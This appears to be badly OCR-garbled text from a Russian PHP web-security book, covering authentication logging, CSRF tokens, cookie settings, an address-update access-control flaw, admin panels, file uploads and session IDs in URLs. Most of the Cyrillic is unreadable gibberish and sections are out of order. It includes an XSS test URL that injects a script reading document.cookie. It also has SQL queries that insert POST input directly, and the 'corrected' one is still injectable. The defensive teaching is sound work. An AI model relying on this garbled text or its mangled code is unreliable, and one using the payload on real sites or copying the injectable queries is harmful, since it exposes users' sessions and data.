OTHIOBATEAEN WM H T1APOTE, W CCH ARHHBIE YKASAH BEPHO, TO TOTHIOBATEIO GY YT
‘BHUIAHS ONPETENEHHBIE MPABA HA BHTIOTHEHHE. KaKWX-THOO ACHCTBHH. JlomyCTy, 1O
XaKep Wamcan nporpawy NoA00pa MAPOTA /UIA BAWETO CUEHIDHA W ANYCTHI ce.
C nowousio ypraa Web-ceppepa YBIZCTS HOMHTKY OZ50pa GYZET He Tak Y  1po-
€70, 3aT0 ecn » pauiei Gae AAHHbIX GYCT OTIETBHR TADAHLA, PETHCTPHPYIOULA B
VARUHbE W HEYAQUHSIE MOMBITKH BXOZA, TO BC MHOOPMALIA O NOTIBTKEX HEBEPHOT
BX0na GYET KAk Ha TQIOHH

‘CHCTeM ay TEHTHDHKALUAW OYeHS ACTO CTAHOBATCA OGBEKTOM HAQIEHHS CO CTOPOHb
XaKEpOB, TIO3TOMY KYPHAT TIOMOKET Ba H B BHSBICHHH OWIMGOK. ECTH B NIPOrpasve
TpHEYTCTBYeT OWIKGKS, W Xakep Henomssoan ataky SQL Injection, Hanpuwep, yKaas
B KaNECTBE NAPOTA JANPOS, TO ITOT NGO COXPAHHTCA B BAUIEN KYDHATE.

51 HAZEHOCH, SO CMOT YGEIITE BAC B COTANMH COBCTBEHHOTO KYPHATA PETHCTPALLIH 0c-
HOBHBIX AHCTBHH TIOTH30BATEAA. A 'O HYIKHO OTHECTH K OCHOBHOMY, @ 470 Her? Tpya-
HO CKazaTs, HO % OBl TIOPEKOMERAOBT PETHCTPHPOBATS:

0 cobbrms ayTemTHMKALAM — BpEMA 3AMIPOCA NOTSIOBATEN, PESYTHTAT NPOBEPKH,
ywasanmsie s W napors, IP-apec NOTs30BaTE s, B IAHHOM CTYHaE 13pOTh AOTAEH
COXARITHGS B Gac AAHHBIX TOTHKO B TOM CYaE, KOTZA @y TEHTHDHKALLAS TpouLTa
HeyaaHo. JICHCTBITENLHbIE TIAPOTH COXPHAT HEb35;

O WoNeHeHHe napaMeTpOB ayTeHTHOMKaLIH — BpeMs, IP-axpec KmenTa, Crapsii 1
HOBHIH MIApOH, @ ToWHEE, Xell NapOTA;

O WaNeHeHHE OCHOBHBIX TIapaNETpOB cHeTes. Hanpivep, 1a opyMe 310 mapaveTpt
HOpYMa, CO3TAHHE HOBEIX PAVIEN0B H T. 4.

B0 MDAKTIIECKH HEHIGEAHL, HOBHIE B! ATAK NIOSBARIOTA PETYAAPHO, H OT ITO-

O HiKy2a He ZeTbc. JIEN0 B TOW, HTO CUEHapHM THLIYT IO, a W CBOMCTBEHHO OLIH-

GaTbes, 1 ecnn OWHOKY HAFLIET XaKep, TO cepnep GYIET B OMACHOCTH, NIOKa 6 ITOM He

YSHAIOT IPOTPAMMHCTS! H HE HCTIPABST OLIHGKY. JKYPHA TOMGKET Bat GHICTPO BHIABHTE

HEWTATHME CHTYALIMM # TMKBAAMPOBATS WX BYIET XOpOlIO, €CT AYPHAN OKEKETCH

MaKcHaTsHo ya0GHbM. Hanpiep, ypuaisi Apache otewb MOUINH, HO Aaiekn of

WIEana W He 0Meis NOAXOIAT VTR PUICHIA 30124, BCTAIOLLA TIEPE MO PAMMHCTANH,

s AM4HOTO OMITa: MiE HECKOTBKO Pas TIOMOTAH KypHaTst asTopHsauH. Ha KikIoM
cailre, KOTOPbIH # 717210, OGAIATENLHO COIAI0 TAGTHIY CO CAEAYIOUIANH OTAMH:

O email;

O ID nonb308aTeAs — GYAET He HYIEBIN, eCIH NO30BATEN HalAeH NPH aBTOPH3a-
w;

1 napos — GyZeT He HyJIeBBIM, €CIH ABTOPH3ALLN TIPOULTA HEYANHO, HO HECMOTDA Ha
70, 410 9TO HewepHSli NApO, O FAUHPPOBAN;

O spens;

O ara
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3Mech ¥ HaC HEBHIAMAR HA CTPAHHLE GOPNA (05 ITOM TOBOPHT CTITb display:none) H
copurka. KOTZa OTSIOBATEN WETKAET Ha CCHUIKE, TO O METOIOM FOST OTIPABISET
opy Ha waw calfr. BrioaHe 7eranHo OTIPABTATE (JOPMY ¢ OTHOFO caifTa Ha APYTO,
H oHa GyzeT npekpacko oGpaGoraa. H ecn moceTwTens, KoTopeif saiieT Ha caift xa-
KEpa, OIHOBPEMEHHO Gy IeT aBTOPHIOBaH Ha Hawe caiTe, To OH HIMeHHT ool napoh
Ha qwer] 234, XOTA Cam 06 9TOM HHYErO NOTO3PeBaTS He GyeT.

Bl CKaKETe, 41O MONB30BATENA BEs OTIIPABAT Ha Hall Caifr, H O YBIIVT, *To €r0 a-
poits cenmica. BosmorHo. Ho ecin Xakep NOCTYIIHT UyTh yMiee, Of CMOXET CTIpSTaTS
ITOT 3APOC B CKPHITOM 1 ¢xane, H TOTAA MOTBIOBATEN HHYEFO He VBT,

'Koraa 3anpoc MPHXOIHT OT PYTOTO CaliTa, TO €0 MOKHO OTGHIBTPOBATS MOSTO Mpo-
BepKOH referrer. ITO He CaMas WIEATHHAS JAUIHTA OT IOIOGHOH ETAKH, OHA TPOCTO M-
HHMATHHO HeOGXOTMa.

(Ceffuac pekoMeHIyioT uis KiKAOH (OpMSI TCHEPHPOBATS CBOW MoKeN — yHKATbHOS
HaueHwe, KOTOpOE GYIET iepenanaThes ¢ hOpwoR OBPaTHO Ha ceppep. Dopua TomkHa
BHICIAIETS MPHMEPHO Tak:

"changepud. hp">
hidden® name="token" value="TOKEH" />
<input. type="text” name="password® value="" />
</form>

3nech y (opwei A0GamTEH eime OV NapaveTp, KoTOpi Gy eT HemnmMBIM, B KaviecTae
MGYEHH TOKEH HYKHO TEHEPHOBATS KAKYIO-TO YHHKATHHYKO CTPOKY, KOTOPAA Gyzer
IDHCYTCTROBTS B Te/le CTPANMIIB! # OTIDARTATLEA Ha CePBCP BMECTE ¢ AQHHBINM dop-
M, 2 Tak e 5TO 3HaEHHE JOTHO COXPAHATBCA Ha ceppepe. 1% KDKIOTO MOTK30BTE-
13 118 KaXIOR (OPMBI 5Ta CTPOKA JOMKHA TCHEPHPOBTLCS 3aHOBO  GHITh YHHKATS-
WOl

Korzia bopa MpIXoZuT Ha cephep i Hail ciienapwii HawHaeT e¢ opaGaThBaTh, TO Met
TIPOBEPEN, COXPAHAIOCh M 1A STOTO MOTHIOBATENA ZaHHOE HaueHHe. ECTH 1a, TO
$OpMa B TIOpAIKE W 37O Mt ee cosnanaTy. ECIH HateHHe HeBepHo, T0 370 GMaH, Xa-
Kepokili callT IpH CO1aHMH (POPMBI He MOKET MPEIYTATATS, KaKOE IHateiHe GyieT
B TOKEA,  M0A0GHAR ATAKa CTAHOBHTCA GeCTIONEIHON,

3.14. ConposoxaeHue xypHana

Tipw paspaGorke Web-TIpWIoKeHHA HEOGXOMMMO MOACOTHTECA H O COVIAHHH KYPHATA
ocHoBHbX Haweneni. J1a, y Web-cepaepa ecri coCTaerHbiH AYPHAT, B KOTOPOM Co-
XPAHSETCA BCA AKTWBHOCTS NIOTS3OBATEEH, HO Ha KPYTIHBIX CAHTaX C GOTBUIAM KO-
CTBOM nloceTHTEEl PaI0GPATBES B TAKOM KYPHATE ONEHS CAOKHO, & HHOTIA TIPOCTO He-
BOIMOAHO. K TOMy e OF COXPAHAET JATEKO H BCIO TOTESHYHO HHOPMALIIO.

ECTh 1 BTOpOH 8prysenT B mombsy coBCTBEHHOR AYpHATa — He KaAbIH XOCTHHT MO~
KET NPEOCTARTATE A0CTYII K KypHaraw Web-cephepa. 51, HanpHMep, Hi pasy He buzen
TaKol BOIMOXHOCTH [UTA TOAB30BATENEH GECTAATHOTO. XOCTHHTA. BrpOten, & Mato
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s s oxopaskt
<p><input nane="rilol

“eilens</p>
end files"></p>

B cBOFCTBAX (POpMSI, TIOMHMO TI3PANETPA action ¢ YKASGHMEN ClLEHapH 0GAGOTH
METONA OTIIpaBKH, HEOOXOHMO YKaSATh CBOMCTBO enctype. OHO OTIpENETRET, Kak GyIyT
3AKOIMPOBAIH AAHHHIE TP OTTIPaBKE. T10 YMOTUAHMIO OHO PABHO app icat fon/x-wii-
form-urlencoded, 4O COOTBETCTRYET NPOCTOM TEKCTOROM (oM, & SHANHT, AaHHHE Ha
cepaep GyayT oTnpas et B Bine Texcra. TTporokon HTTP, KOTopsii HCTOTS3YeTeR Ak
TIEPEH JHHBIX, ABTACTCA TEKCTOBBIM, H OTIIDANTATS JZHHHE B TAKOM K BHAE BIIOTHE
A0rHHO. YTOGH CepBep CHOT IOTYHTS, GHHAPHBIE AHIHE, HYKHO WIMEHHTS TO CBOI-
CTBO Ha multipart/forn-data, 4TO COOTBETCTBYET (OPME W3 HECKOABKWX uacTel Ja-
HADX, 42CTH I3 KOTOPIX GYZCT TEKCTOBOH, & HACTS 3aKOIHPOBAHHBIM B TEKCT GHHApHIN
daiiion.

aiin 1 sarpyskw yKasmBaeTes B newenTe ynpamtenns input. Jlia yaobetsa THn
(cBOHCTBO type) 9TOr0 SrexeHTa panei £ Le. TOT THI MOAIEPRABACTCR COTHUIHHCTBON
Gpay3epos # OTOGPIKAETCA Ha IKPaHE He KaK TIOTE BBOAA, @ Kak KHOTIKA JUIA BHGOOpA
batina. Tloce HaxaThs STOH KHOMKH Ha IKPaHE GYIET NORBIATICA CTAWIAPTHOE OKHO
BwGopa atina (prc. 5.1)

I

[T ——

A KaK GYeT IpOHCXOITS Cawa iepenasa MaHHHIX? Bpaysep He MOKET CO3IaTh coen-
Henwe c alLIOM CILCHAPHS W NIEPCLABAT €y AQHHbE. To GYACT CAMUIKOM CTOXHO, 3 B
HEKOTOPHIX CAYWATX NPOCTO HEBOIMOKHO. HO CaaA r7aBHas mposema — Gesonac-
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TOTH30BATEA HHGOPMALIIO, TOGH! EPCOHATHIMPOBATS CaliT. Tak Kak b LENAX Geso-
NACHOCTH Gpay3ep HE AOTKEH HMCTH I0CTYIIA K KOMITBIOTEPY, TO paspaCoTKH npiay-
Mam Gonee-weree GesonacHoe pewenve B Bie cookies. H peuiene aeficTaTensio
XOpoliiee IpH IDARHTLHOM OO H TIPEKPACHO PAGOTAET YKe MOTTHE TOTb.

B pasd. 2.13.1 Ml JOCTATONNO MHOTO yake FOBOHTH 00 X (paiinax, Ho TIoka He yeTa-
HABTMBATH WX BpYIHYI0. Boe GBTOMATHHECKH BHTIOHAN WHTepnpeTaTop PHP 114 noa-
sepmxan ceancon. Ho dpaiinbi cookies MOTYT NIDHFONTES HE TOTBKO LTA CEAHEOB, HO 1
JUIA COVIQHHA TIEPEMEHHI, IHANCHHA KOTOPX COXPAHAIOTCA JOATO, HATIDHMED He-
CKOTBKO HEZe WIH Mecsen. C TIONOBO CEaHEOB 3T0 CIEATS WA, a BOT C -
Moutsio cookies — Ges npoen.

Snaeie cookic KaK MIHHHMYM AOTKHO COCTORTS H3 HMEHH IGPANETPa, KOTOPH HYAJI0
YCTAHOBHTS. Ho OH MOXET COTEPARTS H IOTIOTHHTEHHE DTEMEHTH, TaKHe Kak:

O swasenme napawerpa;

00 zaTa werevenus cpoka romHocTH. Ecu ITOT napaweTp He saan, o cookie Gyzer
yaanen cpasy nocie saKpuTHA Gpaysepa. ECTH 74Ta 3a1ana, TO MapaMCTP i IHatic-
A GYIYT A0CTYIIHBI CIEHADHIO 110 HCTENeHA YKasaHoro spewen. Tloce I1oro.
KIHENT He Gy eT HaNpamiATS cepoepy ycTapesuni Gaiin cookic;

O TyTh. DTOT NApPAMETP OMPENETAET, B KAKOH HACTH JOMEHS MOKET HCTOAL3OBATCA
Aanmt Gaiin cookie. TyT ecth onwn ovews wepecsii wioane. JlonycTuw, o y.
Bac ecth caift www.hostname.com/myname. Ecin b kauectee myTH yKasath
Jmyname, To 20¢Tyn K napaweTpa cookies GYZYT HMETh TOTBKO CLEHAPHH STOTO Ka-
‘razora. Ho ecau b Konle 205aBHTs caeut (/myname), To ¢ cookies coryT paSorars.
W nomKaTaTorH, HANpHNEp, www.hostname.com/myname/admin/. Moo orpani-
HHTh JOCTYN TOTKO OTIPEETEHHAIM cuieHapieM. JUIA STOTO B KaYECTBE MyTH HYXHO
‘yKaaTs yTh K Gaiiny cuenapis, Hanpuviep, /myname/index.php. Hy a ecan npocto
YKaaT Cleu, TO 06Ty K cookies GYIYT HMETh aGeomoTHo see. Tl ywonsaio
MemoabayeTes TexyuwH KaTaTor Cuenapis, koTOpi ycTanantBacT cookie;

0 ZoMeH. TOT NAPAMETP MOIBOTACT YKAATS, KaKHE IOMEHS! MOFYT HCTIOTH30BATS Hit-
opwamo ws dpaitna cookie. Hanpivep, BrOTHe TrHiM GYIET paspewuTs 10c-
TYN TOTHKO CEHAPHAN, PACTIONOKEHHNM B 0MeHe Www.hostname.com. Ecin
¥ Ballero calfTa €cTh HECKOTbKO NICERIONHMOB (HANpHNEP, www1.hostname.com
i flenov.hostname.com), To B KauccTRE MMCHM JOMEHS MOAHO YKIATH
hostname.com, \oGht Bee cafiThi B owene hostname.com NoraH yBHIETs cookie.
TIO YMONAHHIO GYIET HCTIOT30BATHCA TOMEH CepBRpa, KOTOpHI YCTanoBH cookie;

3 napaveTp Ges0naCHOCTH. DTOT MAPANETP MOIBOTAET YKaRTH, 41O Aaribie cookie
_AORH NepeTaBATICA TONbKO HEpes Gesonackoe coetenne HTTPS. Uepes oTwpbi-
‘Tt npoToKon (Ge3 wpposanus) HTTP-baii He Moker Goirs nepear. TTo ywonsa-
o wenonsonare HTTP paspetiieno. Her CMEA HCTOTKIOBATS JaUMUEHHOE O~
exvmenne s oMAMMIX CTPARHICK;

00 http only — TaKoe SHANCHHE MOKHO JHIIL IEPETABATS 10 CETH, H ETO MOKET PO~
WMTaTS ToNbKO cueHaphii Ha cepaepe. M3 koa JavaScript wik 0G0l Apyroit Kiw-
eHTCKOI TeXHOTOrHI b Gpay3epe 3To HaEHHE NPONHTATS Gy eT HeBOIMOAHO. IToT
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HME0, Beb OGBINHO B KavECTBE KMOUA 1A TIOTOGHBIX TAGTHIL HCTIOTH3YIOTCA HMEHHO
MCa, KOTOpHIE B Gae AGHHBIX WIYT NIOCEA0BATEbHO. Hameryp wyxoH anpec Ha caofl,
MOKHO HECKHIAHHO TIOTYSHTE Ha CBOI ATpec KAKYIO-TO MPHATHYIO JOCTABKY OT B10-
MaHHOTO MarasHHa.

Tipoinewa pemmaetes zocTaTouHo Mpocto. B ceccun a0mkeH Xpannscs 1D Tekyuero
00T, @ MOGHie JATPOCH A IOHCK NEPCOATHbX ZGHHNIX WK oGk AeHcT-
BHA B KOJIE HAX NIEPCOHATSHbIMM AQHHBIMH 0TKHb NpOBepTs ID. Tphivep Beime ¢ 3a-
TPOCOM Ha MOEK ATpeca TOTAA MOAHO PELIHT CACAYIOUUIM OGPasoN:
seweer +
FROM Address
WHERE. AddressID = §_POST(*addressid']

AND MeribexTD = 10_Tlomsaovarens

‘Teneps 5 wuty ne Tomsxo o 1D azpeca, o n o 1D monb3omaTess w3 ceccnn. Xakepsi He
‘CMOTYT TIOBTHATS Ha SHAYEHHE W3 CECCHH, TIOSTOMY TakoH TIOTXOA yKe Gesonaced. ECn
Xakep nonkTaeTea wimemiTs 1D QIpeca, Halll 3ATPOC HE CMOXET HAMTH aIpec, €CAH OH
He TPHHATEXHT XaKepy.

Boera npi paGOTE ¢ aHHHNM YGEKTANTECE, 4TO OHH MPHHATTEKET TEKYLIEMY TIOTH30-
BaTeI0. ITO MOXHO peanisonars ¢ nomowsio 1D Texymero nonsiosatens. Hukorsa we
nepenasaiire 57or ID B opwe. O He JOTKEH GHiTh CTIpATt Ha Gopue Tk B cookies
TIEPENRBATECA Ha cepBep OT NOT630BATeA. He A0BEpAHTE HHKAKIM JGHHHIN, KOTOpHE
pixoaaT or Gpaysepa. ID TeKYIIETO NOTSI0BATENS AOTAEH GITh B cecchh.

3.16. TTaHenb aamuHucTpaTopa

Ecti pbi covaaete caliT ¢ OMOUIBIO KEKOTO-7HGO S3biKA MPOTPAMMHDOBAHHS, TO He-
MM Gy T CAEAT OGHOBEHHe caiira tepes Web-iepdeiic. J[1s 9Toro saime bee-
TO TMIIYTCH CUEHSPHH AIMHHHCTPATOPOB/MOZEPITOPOB, B KOTOPHIX OMpENE/EHHbE
TIOT30BTENH MOTYT MONOAHATS CaliT HiopMaLiei. Takite CUSHApHH TPeBYIOT OTAEb-
HOM SAILUATS, W CefHaC Mbt PACCMOTPHM HaHGoAEe THITHHHEIE OULHGKH TIPOTPAMMHCTOB.

Tleppas oLMOK: HETE3 KOA ATMHHHCTPHPOBAHHS PasSpACHIBATS Ha CEPBEPE 10 PAHBIM
KaTa7oraw. B 5TOM CyHa€ OY€Hb CTOKHO GYIET KOHTPOTHPOBTS CailT H ero Gesoac-
HOCTs, Bech KON AIMMHHCTPHPOBAHIS ZIOTKEH GHTS COOPAH B CEHAPHAX OHOTO 1
TOTHKO OTHOTO KaTa70ra Ha CepBepe. JluKe A6a KATA/IOra IOHHSAT Ge30TACHOGTS H 0cTa-
641 KoHTPOTS.

HiKorza we fe7aifTe CoAUTKN Ha CIICHApHH AIMMHHCTDHPOBAHHA Ha OGMIEIOCTYIHE
TpasHua. JKeTaTebHO, TOGH BOOGILE CCHUIOK He GHUTO, H XaKep HE AT, TI€ HaX0-
TR CHEHAPHIH, KaK¥e Y HIOX HMEHa W KAKHC NGPAMETPBL. UeM MEHbIIE JHAET XAKCP, Tex
nywe.

ECH 81 BHIOTHHTE 5TH 13 YCIOBHS, TO BaM Mpoue GyaeT AeHCTBORATS B CAyuae
BYI0Ma. BIOMS! HEWSGEXH, TIOTOY TO BCe M OWINGGENCA, TOTHKO He BCe OWHGK
GhteaioT KpyTHusK. Hallia 51342 — 3apaHEC IDEYCMOTPETS BCe BOIMOKHOE, TOGk!
ACHiCTBH XaKepa NpHHEC MHHHMATHbH YuIepO.
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TTpumeptr pa6otur ¢ PHP

'Y Hac yKe AOCTATOUMHO SHali 718 TOTO, “TOGH HASATS THCATh GOIee HHTEPECHIE Tpo-
rpawuii. B 3TOM FaaBe HAC KIIET GOTHIIOE KOTHYECTBO TIOGOBITHSIX MPHMEPOB, PeKo-
MeHzaui H MPOCTO COBETOB. ECIH NpETLIYULHe T8B! GBUTH, CKOPEE, TEOPETHIECKHMH,
70 37a GyeT HOCHTS Gobie MPAKTHYECKHH XapaKTep.

‘TeopeTieckie IHaHHA — 3T XOPOUIO, HO HEGXONMMSI # TAKTHUECKIHE HABGIKH.
TOTHKO ONIT NOSBOTHT BaM MAKCHMATEHO GHCTPO M KAYECTBEHHO PEWIATS THIOBHIC
33184, C KOTOPBIMM MOXHO BCTDETHTSC B PEaTHOH MSHH W ONpOGOBATS IHAHHA Ha
PeaTBHAIX MpHMEpAX.

JIH4HO 4 BCETAA HAHHEIO H3YHATS “TO-TO HOBOS MMEHHO C NDAKTHYECKIX SA%a, H O
HOBPEMERHO Hayai0 Teopo. TIDAKTHKA IOSBOTAET YBIETS COGCTBEHHbIMM IIEaNH,
Kak TO-TO paGOTACT, 8 © MOMOUIbIO TEOpHH Mbi YrTyGsem crow awamns. Hwenno
RIOSTOMY Bee TEOpETHHCCKIHE JANTTHA B JaHHOR KHHTE LLTH BIIEpeNELIKY ¢ GoTbIM
KomirieCTRoM npHMepoB. JIyit Oz pas yaureTs, e 100 pa3 nposHTaTs.

5.1. 3arpysxa aiinos Ha cepsep

arpyska bafirion Ha cephep — oA 3 CAMBIX OmacHBIX 3a1as. ECTH NO3OTHTS 0TS~
30BATEIO HTO-TO IArPYKATS GECKOHTPOTEHO, TO IOYMBILTEHHHK CMOXET TOMECTHTS Ha.
cepeep caofi cuenapli # BUTIOMHHT €ro. ECTH eMy 310 YAACTCA, TO CHHTaiTe, HTo Bat
cepeep BTOMan.

Kak H G TpyTHe TaHHSE, Galet MOTYT EpEABATECH CEPBEPY METONAMH FUT WIH
205, MeTon 20ST Ham Yok Hakom 110 pasd. 2.12, & BOT 2UT Mbl T0KA €l He MCIOTB30-
Ba. MeTo 20T COXPAHAET AaHHHE 110 OTpeAEAeHHOMY aapecy URL  Xopoo momxo-
JMT A1 IYGIMKGLMK JGHHEIX Ha cepbepe, XOTA Ha TIPAKTHKE A C HAM M10KA elle He
Berpeuaics. OBHHO MOTSI0BATENH OTIPABIAIOT BCE WA CEBCP C MOMOUBIO FOST-
sanpocos.

JIas Hasa7a roCMOTPN, Kak paGoTaeT MeTox, W Hasen ¢ HTML-gopws 47 ornpass

+ //phbook /chapters/15-1-Fi lepload. php"
methods"post" enctype="multipart/forn-data”>

<fom action="htt;






index-80_1.png
8 rnasa 2

KOHCTPYKIINA <2-5107> ABIRETCA YKASAHYEM HA TO, ¥TO HYKHO 10GasuTs B URL wien-
mmkaop SID.

ECH BBl PELIMTH PEATHIORATS CEaHCOBBIE IEPENCHHBIE Ge3 HeroTkonanys cookies, TO
B OTKHB YAHTHIBATS, STO OTOGpaKeHe HaeHTHHKaTopa 5 URL Aa7exo e Gesonac-
Ho. Ecau Xakep yBuaut SID OIHOTO W3 NOTS30BATENeH, TO OH CMOXET NepeXBaTHTS
ceari. Jla, sanowmiTs SID BOIMOAHO TOTEKO TeOpETHIECKH. CpeaHECTATHCTHIECKHH
HEAOBEK He CYMEET GHCTPO JANOMHHTS TAKOE KOTHHECTBO HE HMEIOULIX CMBICTA GYKB 1
wnpp. Ho 570 e swaw, 40 mbi B GesonacHocT. [lepexpar WACHTHDHKETOP MOXHO
CIeTaT # MpOrpavHO. TPORHCKAS TIPOTPAMMA MOKET BHETHTE HYKHYIO HaCTh W
bech URL-aIIpec  M€pEaTh €0 110 CETH A0y MBIULICHHMKY.

Jlonycritw, 7o Ha Baluem calite €crs Gopy, B KOTOPOM OTpeZeTeRHbe MIOT30BATEH
TI0GAE aBTOPH3ALIH TIOTYHAIOT BOMOKHOCTS PAGOTH CO CIIEHAPHAMM YIPABIEHHA Bo-
PYNOM. AZMHHHCTpATOP, BOFIS Ha (opyw, ToTyuacT SID, 1o Hewy CHCTEM BHAETAET
ATMHHHCTPATOPa CPEI BCEX OCTATHHIX. ECTH XaKEp CMOT NIEPEXBATHTS, WICHTHHKa-
TOP, TO OH Takoke MOKET IOTYSHTS IPABa ATMHHHCTPATOPA, @ STO YXKE TPOSHT OTEpeH
KOWTPOA HaZ OpYMOM, @ MOKET GrTs, 1 HaZ Boem caifTow. Xyke GyaeT, ecn xaxep
CMOXET MEPEXBATHTS CeaHc, B KOTOpOM MOTIOBATEN PAGOTAET CO CBOEH KpeTHTHON
KApTOUKOH (HATDHMEP, CEQHC B SMEKTPOHHOM MArasHHE), H COEIHHEHHE IPH STOM NpO-
HeXORHT Ges uHQpoBaHA TpagHKa

TIOTH30BATEIH CaMH WHOTAA JOTYCKBIOT OWMGKY H MOTYT packpaiTh cBofi ceanc. Ha-
NpHMEp, yoke MHOTo pas Ha Moew Grore flenov.info NOCETHTENNH OCTARIATH KOMMEHTa-
P, B KOTOPHIX MPOCHIH B3rAAMYTH Ha KaKofi<ro URL-anpec. TTpi 3Tom mombsosaten
IDH HATHCAHHH KOMMHTADHA HE YTPYKIATH CEG3 PYHHIM BBOTOM axpeca. OHH MPOCTO
€r0 KomposaTH w3 CTPOKH URL Gpay3epa BMECTE ¢ NapameTpom cearicos. J0CTaTouHo
LU0 NEPEHTH 110 CCBUTKE, W €CTH CEAHC ele HE YCTApeT % MOyl a caiTax npasa
zocTyna moAks0BaTeneH. TAKOTO & e JABHO He BWIEM, TIOTOMY SO YK Hepe3 CTPOKY
‘apeca ceccH, KAAETA, HHKTO HE TIEPENALT, H BaM He COBETYIO.

‘Taxiw 0Gpazow, cookies HaMHOTO GE3OMIACHEE 118 CPBEPOB, & SHASHT, H JA MOT3083-
esei, TIyCTs MPMS! MOTYT OMPEZETHTS, F1€ Mt 0GB b HHTEpHETe, HO 3410 Xake-
PaM GYT CIOKHee TIEPEXBATHTS Hall SaKPHITHE CEAHCH.

oG nomsaoBaTe He Gownwc Gaiknon cookies Ha paien caliTe, OGIITETBHO PaTh-
ACHITE i, TO COoKieS HEOGXOMHMB U1A OGECTIEYEHHA 16X THAHO GE30MACHOCTH M HE
HCTIOML3YI0TCA B KOPHICTHBIX LETAX, HANPHMeP, /UIA C00pa HHGOPMALIAM W T. 1.

2.13.2. Cookies

C1080 cookie Ha pyceksii niepeBoTAT Kak "nesenbe”, HO b oTHoWIEHNH daiLion cookies
TaKoH TIepeRO 3YHHT CTPAHHO H AGCOTIOTHO HEKOPPEKTHO. C/IOKHO HasbaTs alti ne-
HeHbeM, TI03TOMY CTATH TIORBIATACA GOJlee KpaCHBbIC KaPrOHHBIE iepeBO sl — "ot~
Ka" Wik "esentouika”. HAKAKOTO OTHOWIEHHS K PEaTSHOMY 3Hasevio palina 1ot -
peson He eer.

Cusica cookies B TOM, 40 3T0 eHb MATeHbKyE GaiLThL, KOTOpHIE COXPAHAIOTCA Gpay-
3cpoM Ha mHCKe b OnpeneeHHOM Mecte. Dafhl MOIBOTAOT CalTaM XPAHHTS Ha IHEKE
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Onwaast O H calfToB, KOTOPHIH # NOLIEPAWBAT, MOUIICA ATAKe N0 COBAPIO.
XaKepsi T16-T0 B347# Gasy TaHbIX e-mail # apoteii i ¢ TOMOIIEIO CKPHITTa TpOBEpATH
KEKAOTO MOMK30BATENS 13 9TOR Gasbl Ha Moem cafite. Tlo Takof TaGTHLLE Mbt GHICTPO O~
PEXETIH, HTO KTO-TO CKAWpYET caif, 3a67OKpOBATH IP-AIPECa, W KIEHT TYT e
TIDHHA PelicHHE PEATH3OBLIBATS ByGAKTOPHYIO ABTOpH3ALING. JL0 ITOrO MHe He YAaa-
106h YGEINTE KIWMEHTA, “TO IPOSTO HMEHH H 113POTA HE OCTATOHHO, 70 HE Ge3onacko.

3.15. 3awMTa OT HEenpaBOMEPHLIX U3MeHeHUI

Henpanovepioe HiveieHwe HHGOPNALIH Ha CaMOM ZEe HIEro oGuro He weeT
 caminm w3miKOM MpOrpavMHpOBaNHA. Taxwe OWIMOKH % Gbi oTHec Gombine K Jorwie-
CKIM, KOT1a TIDOTPANMHCT HEBEPHO PEATH3YET AOTHKY KOTA.

51 Ceffac KOHCYLTHPYIO OHY AMEPHKAHCKYIO KOMAHIY 110 Caifry, KoTOpsi Ot paspa-
‘GaTHIBAIOT, W NPAMEPHO MeCAIL HA3AL OHM OOPATIIHCE KO MHE C JANPOCOM NOMONS Paso-
Gparscn ¢ yasmimOCTHI0. X CaliT TECTHPYET O'eHb YBAAEMAA KOMTIAHHS B Mipe Geso-
NIACHOCTH, W CICURATHCTB HALILTH CEPHESHYIO YAIBHMOCTS, KOTIA XaKep MOKET 00HO-
BTH 7PEC I0CTABKH 114 TOBAPOB THOGOTO MIOTH3OBATEN.

Ourmika Ghura b Torvke oHoBneHIS aapeca nonssopaTens. Dopwa foTyara e 0O
aTpece HOCTABKH W BHITIIETA MDHMEPHO CTETYIOLIN OGPASON:

<fom actions"" method-"post®>

<input types"hidden” nane-"addressid" values"<ze AddressID 2% />

<input name="addreasl” values"<2e Addressl " />

<input nane="address2" value="<?e Address? " />

<input name=city® value=t<z= City 2% />

</tom>

Bee Bpoe Gbi XOpOWIO, TIOTOMY 'O Mt ZEN TIOTIOBITEIO BOSMOKHOCTS BBECTH HO-
Biic ZaHHHIE Axpeca, W Hepe3 CKPHTOE Moe NepeaacTea yhkanbHli 1D axpeca 3 Tab-
e Gasst Zamsrx. 1D MPOCTO HEOGXOTHM, BELTh Y OZHOTO MOE3OBATENR MOKET OK-
30ThCA HECKOTIEKO AIPECOB JOCTABKH. Y et Ha cafite eBay 1a anpeca — Mo i
W azpec poaNTENel, NOTOMY STO OV Pa3 OTIPABTXT WM HTO-TO (YXE  He TOMHIO
o).

Ha cepaepe Guuna

iexyrouas sorwKa:
SELECT * FROM Address WHERE AddressTD = §_POST|(‘addressid']

10 TOMBKO 3a1POC Ha T0vCK AN, cam PHP-K0 cefiuac He WMeeT sHaserus. 3ampoc
'HAXOIMT HaM PEc, @ M0CIE STOTO ¢ NOMOUIEO PHP COXPAHAIOTCA HOBHIE AaHIHE H OT-
TIPABTAIOTCA OGPATHO Ha cepBep.

Oumka MOAET GbiTh HE3AMETHa HEOTHITHOMY TporpamHeTy. Ho OKa TYT ecrh W oveis

cepoesias. Mt He NDOBEPAEN, MPHKAIEKHT H AaHHHIH G1pEC TEKYULEMY IOTS30BATe-
710, XaKep MOKET WIMEHHTS OPMY H YKAXITH BMECTO CBOETO AddressD 11000€ APYTOe
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peint ("<input types\"submic\" val
print (</form>") ;

\"Submie\">") ¢

B naniow cryuac opwa NEPEIIET BRCTEHNbE ARHHKIE CUSHPHIO, AIPEC KOTOPOTO
(DOPMMPYCTCR 13 MepeMEnHbX SSERVER NAYE W SREQUEST_URL. Ec OGBCINHHTS COnep-
KHNOE JTHX IBYX TEPEMEHIbIX, TO MOTYSHTCA nomtbiii URL K TeKYWIEW clieHapiio,
. €. cueHapHit HATIPABHT AaHHHE Caw ceGe, O npi 1o URL GyeT onpezerien wa-
Mideck. Qe Y10GHoe petente, Ko onacHoe. JIOMYCTHM, HTO XaKep BBEACT B CTPOKE
URL creayiouni arpec:
hitp:/iyoursite/index.php?"*><seript>alert(document.cookie)</script>

B oTBeT Ha 970 Gpay3ep OTOGPEWT MOTATBHOE OKHO, B KOTOPOM GYIeT TIOKAIHO COep-
noe Gaiinos cookies. /la, Xakep yBHaHT cnow cookies-parii, Ho “TOGH YKpACTs ai-
HHIe 2YTOTO NOTI0BATENA, ZOCTATONNO CACTATS Tk, “TOGM epTBA WEAKHYT2 MO
HYKHOT CCbiKe, W TIOCTABHTS HEMHOTO ApYTOM JavaScript-xoz.

OBmaressHo MpoBEpSiiTE MeEpeMeNIYIO SREQUEST_ URT Ha HEOMYCTAMMIE CHMBOTS, 2
